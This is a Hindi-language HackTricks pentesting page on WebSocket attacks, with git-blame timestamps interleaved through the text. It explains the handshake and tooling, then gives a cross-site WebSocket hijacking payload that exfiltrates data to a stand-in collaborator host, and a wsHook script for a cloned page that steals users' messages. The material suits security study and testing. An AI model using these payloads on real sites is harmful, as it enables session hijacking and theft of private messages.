hacktricks/pentesting-web/websocket-attacks.md

186 lines
21 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# WebSocket हमले
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
2022-04-28 16:01:33 +00:00
</details>
## WebSockets क्या हैं
WebSocket कनेक्शन **HTTP** के ऊपर शुरू किए जाते हैं और आमतौर पर **लंबे समय तक चलते हैं**। संदेश **किसी भी समय किसी भी दिशा में भेजे जा सकते हैं** और ये लेन-देन की प्रकृति के नहीं होते। कनेक्शन सामान्यतः खुला और निष्क्रिय रहता है जब तक कि क्लाइंट या सर्वर में से कोई एक संदेश भेजने के लिए तैयार न हो।\
WebSockets विशेष रूप से उन परिस्थितियों में उपयोगी होते हैं जहां **कम-विलंबता या सर्वर-प्रेरित संदेश** की आवश्यकता होती है, जैसे कि वित्तीय डेटा की वास्तविक समय की फीड्स।
### WebSocket कनेक्शन कैसे स्थापित किए जाते हैं?
(यहां आपको एक सारांश मिलेगा लेकिन एक **वेब सॉकेट कनेक्शन कैसे बनाया जाता है** के बारे में **अधिक विस्तृत गाइड** आप [**यहां**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) पा सकते हैं।)\
WebSocket कनेक्शन सामान्यतः निम्नलिखित जैसे क्लाइंट-साइड JavaScript का उपयोग करके बनाए जाते हैं:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
**`wss`** प्रोटोकॉल एक एन्क्रिप्टेड **TLS** कनेक्शन पर WebSocket स्थापित करता है, जबकि **`ws`** प्रोटोकॉल एक **अनएन्क्रिप्टेड** कनेक्शन का उपयोग करता है।
कनेक्शन स्थापित करने के लिए, ब्राउज़र और सर्वर HTTP पर एक WebSocket हैंडशेक करते हैं। ब्राउज़र निम्नलिखित जैसा एक WebSocket हैंडशेक अनुरोध जारी करता है:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
यदि सर्वर कनेक्शन को स्वीकार करता है, तो वह निम्नलिखित जैसा WebSocket हैंडशेक प्रतिसाद लौटाता है:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
इस बिंदु पर, नेटवर्क कनेक्शन खुला रहता है और इसका उपयोग दोनों दिशाओं में WebSocket संदेश भेजने के लिए किया जा सकता है।
**ध्यान दें**
WebSocket **handshake** संदेशों की कई **विशेषताएं** ध्यान देने योग्य हैं:
* अनुरोध और प्रतिक्रिया में **`Connection`** और **`Upgrade`** हेडर्स **इंगित** करते हैं कि यह एक **WebSocket handshake** है।
* **`Sec-WebSocket-Version`** अनुरोध हेडर उस **WebSocket प्रोटोकॉल संस्करण** को निर्दिष्ट करता है जिसका उपयोग क्लाइंट करना चाहता है। यह आमतौर पर `13` होता है।
* **`Sec-WebSocket-Key`** अनुरोध हेडर में एक Base64-एन्कोडेड **रैंडम मान** होता है, जिसे प्रत्येक handshake अनुरोध में यादृच्छिक रूप से उत्पन्न किया जाना चाहिए।
* **`Sec-WebSocket-Accept`** प्रतिक्रिया हेडर में `Sec-WebSocket-Key` अनुरोध हेडर में प्रस्तुत मान का एक हैश होता है, जिसे प्रोटोकॉल विनिर्देश में परिभाषित एक विशिष्ट स्ट्रिंग के साथ जोड़ा जाता है। यह गलत कॉन्फ़िगर सर्वरों या कैशिंग प्रॉक्सीज़ से भ्रामक प्रतिक्रियाओं को रोकने के लिए किया जाता है।
**`Sec-WebSocket-Key`** हेडर में एक **रैंडम मान** होता है ताकि कैशिंग प्रॉक्सीज़ से होने वाली त्रुटियों को रोका जा सके, और **यह प्रमाणीकरण या सत्र संचालन उद्देश्यों के लिए उपयोग नहीं किया जाता है** (_यह CSRF टोकन नहीं है_).
### Linux कंसोल
2021-02-22 15:05:55 +00:00
आप `websocat` का उपयोग करके एक websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं।
2021-02-22 16:59:36 +00:00
```bash
2021-02-22 15:05:55 +00:00
websocat --insecure wss://10.10.10.10:8000 -v
```
या websocat सर्वर बनाने के लिए:
2021-02-22 16:59:36 +00:00
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket कनेक्शन
2021-02-22 16:59:36 +00:00
यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से **HTTP websocket** से जुड़े हुए हैं, तो आप [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला कर सकें।\
एक बार जब क्लाइंट आपसे जुड़ने की कोशिश करता है, तब आप उपयोग कर सकते हैं:
2021-02-22 16:59:36 +00:00
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets की गणना
2021-02-22 16:59:36 +00:00
आप **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) का उपयोग करके websockets में ज्ञात **vulnerabilities** की खोज, फिंगरप्रिंट और खोज स्वचालित रूप से कर सकते हैं।
2021-12-30 10:14:05 +00:00
### Websocket डीबग उपकरण
* **Burp Suite** MitM websockets संचार का समर्थन करता है जिस तरह से यह सामान्य HTTP संचार के लिए करता है।
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, जिसमें **history** प्राप्त करना, **interception rules** सेट करना, **match and replace** नियमों का उपयोग करना, **Intruder** और **AutoRepeater** का उपयोग करना शामिल है।
* [**WSSiP**](https://github.com/nccgroup/wssip): "**WebSocket/Socket.io Proxy**" के लिए छोटा, यह उपकरण, Node.js में लिखा गया, एक यूजर इंटरफेस प्रदान करता है जो **capture, intercept, send custom** संदेश भेजने और सभी WebSocket और Socket.IO संचार को देखने के लिए क्लाइंट और सर्वर के बीच में होता है।
* [**wsrepl**](https://github.com/doyensec/wsrepl) एक **interactive websocket REPL** है जो विशेष रूप से पेनेट्रेशन टेस्टिंग के लिए डिजाइन किया गया है। यह एक इंटरफेस प्रदान करता है जो **incoming websocket messages को देखने और नए संदेश भेजने** के लिए होता है, इस संचार को **automating** करने के लिए एक आसान-से-उपयोग फ्रेमवर्क के साथ।
* [**https://websocketking.com/**](https://websocketking.com/) यह एक **web to communicate** है जो अन्य webs के साथ **websockets** का उपयोग करता है।
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह एक **web to communicate** प्रदान करता है जो अन्य webs के साथ **websockets** का उपयोग करता है।
## Websocket लैब
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) में आपके पास websockets का उपयोग करके एक web लॉन्च करने के लिए कोड है और [**इस पोस्ट**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) में आपको एक स्पष्टीकरण मिल सकता है।
## Cross-site WebSocket hijacking (CSWSH)
इसे _cross-origin WebSocket hijacking_ भी कहा जाता है।\
**यह एक** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **WebSocket handshake पर होता है।**
यह तब उत्पन्न होता है जब **WebSocket handshake** अनुरोध केवल **HTTP cookies** पर निर्भर करता है सत्र प्रबंधन के लिए और इसमें कोई CSRF टोकन या अन्य अप्रत्याशित मूल्य **नहीं होते हैं**।\
एक हमलावर अपने डोमेन पर एक **malicious web page** बना सकता है जो कमजोर एप्लिकेशन के साथ एक cross-site WebSocket कनेक्शन स्थापित करता है। एप्लिकेशन इस कनेक्शन को एप्लिकेशन के साथ पीड़ित उपयोगकर्ता के सत्र के **context में संभालेगा**
2023-11-06 08:38:02 +00:00
### सरल हमला
ध्यान दें कि जब **websocket** कनेक्शन **स्थापित करते हैं** तो **cookie** सर्वर को **भेजी जाती है**। सर्वर इसका उपयोग प्रत्येक **विशिष्ट** **उपयोगकर्ता** को उसके **websocket** **session से जोड़ने के लिए कर सकता है जो भेजी गई cookie के आधार पर होता है।
2021-02-22 16:59:36 +00:00
फिर, अगर **उदाहरण के लिए** **websocket** **server** एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है अगर एक संदेश "**READY"** भेजा जाता है, तो एक **सरल XSS** कनेक्शन स्थापित करना (cookie **स्वचालित रूप से भेजी जाएगी** पीड़ित उपयोगकर्ता को प्राधिकृत करने के लिए) "**READY**" **भेजना** बातचीत के इतिहास को **प्राप्त** करने में सक्षम होगा।
2021-02-22 16:59:36 +00:00
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
2023-11-06 08:38:02 +00:00
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
2023-11-06 08:38:02 +00:00
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### क्रॉस ओरिजिन + अलग सबडोमेन के साथ कुकी
इस ब्लॉग पोस्ट [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) में हमलावर ने **एक सबडोमेन में मनमानी जावास्क्रिप्ट को निष्पादित करने** का प्रबंधन किया, जो डोमेन के उस हिस्से में था जहां वेब सॉकेट संचार हो रहा था। चूंकि यह एक **सबडोमेन** था, **कुकी** **भेजी** जा रही थी, और चूंकि **वेबसॉकेट ने ओरिजिन की जांच सही ढंग से नहीं की**, इससे उसके साथ संवाद करना और **उससे टोकन चुराना** संभव हो गया।
2023-03-15 09:29:52 +00:00
2023-11-06 08:38:02 +00:00
### उपयोगकर्ता से डेटा चुराना
2021-02-22 16:59:36 +00:00
जिस वेब एप्लिकेशन की आप नकल करना चाहते हैं (उदाहरण के लिए .html फाइलें) उसकी प्रतिलिपि बनाएं और जिस स्क्रिप्ट में वेबसॉकेट संचार हो रहा है उसमें यह कोड जोड़ें:
2021-02-22 16:59:36 +00:00
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
2023-11-06 08:38:02 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
2021-02-22 16:59:36 +00:00
}
wsHook.after = function(messageEvent, url, wsObject) {
2023-11-06 08:38:02 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
2022-04-05 22:24:52 +00:00
}
2021-02-22 16:59:36 +00:00
```
अब [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से `wsHook.js` फाइल डाउनलोड करें और **इसे वेब फाइलों वाले फोल्डर में सेव करें**।\
वेब एप्लिकेशन को उजागर करने और एक यूजर को इससे जोड़ने पर आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:
2021-02-22 16:59:36 +00:00
```javascript
sudo python3 -m http.server 80
```
2023-11-06 08:38:02 +00:00
## रेस कंडीशन्स
2021-02-22 16:59:36 +00:00
WebSockets में भी रेस कंडीशन्स होते हैं, [अधिक जानकारी के लिए यहाँ देखें](race-condition.md#rc-in-websockets)।
## अन्य सुरक्षा भेद्यताएँ
चूंकि Web Sockets एक तंत्र हैं **सर्वर साइड और क्लाइंट साइड को डेटा भेजने के लिए**, इस पर निर्भर करता है कि सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं, **Web Sockets का उपयोग XSS, SQLi या किसी अन्य सामान्य वेब भेद्यता का शोषण करने के लिए किया जा सकता है जिसमें एक उपयोगकर्ता के websocket से इनपुट हो।**
2021-02-23 13:55:20 +00:00
## **WebSocket Smuggling**
2022-06-19 14:00:50 +00:00
यह भेद्यता आपको **रिवर्स प्रॉक्सीज की पाबंदियों को बायपास करने की अनुमति दे सकती है** उन्हें यह विश्वास दिलाकर कि एक **websocket संचार स्थापित किया गया था** (भले ही यह सच न हो)। इससे हमलावर को **छिपे हुए एंडपॉइंट्स तक पहुँचने की अनुमति मिल सकती है**। अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
2022-06-19 14:00:50 +00:00
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
2023-11-06 08:38:02 +00:00
## संदर्भ
2021-02-23 13:55:20 +00:00
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
2020-07-29 09:22:22 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
2022-04-28 16:01:33 +00:00
</details>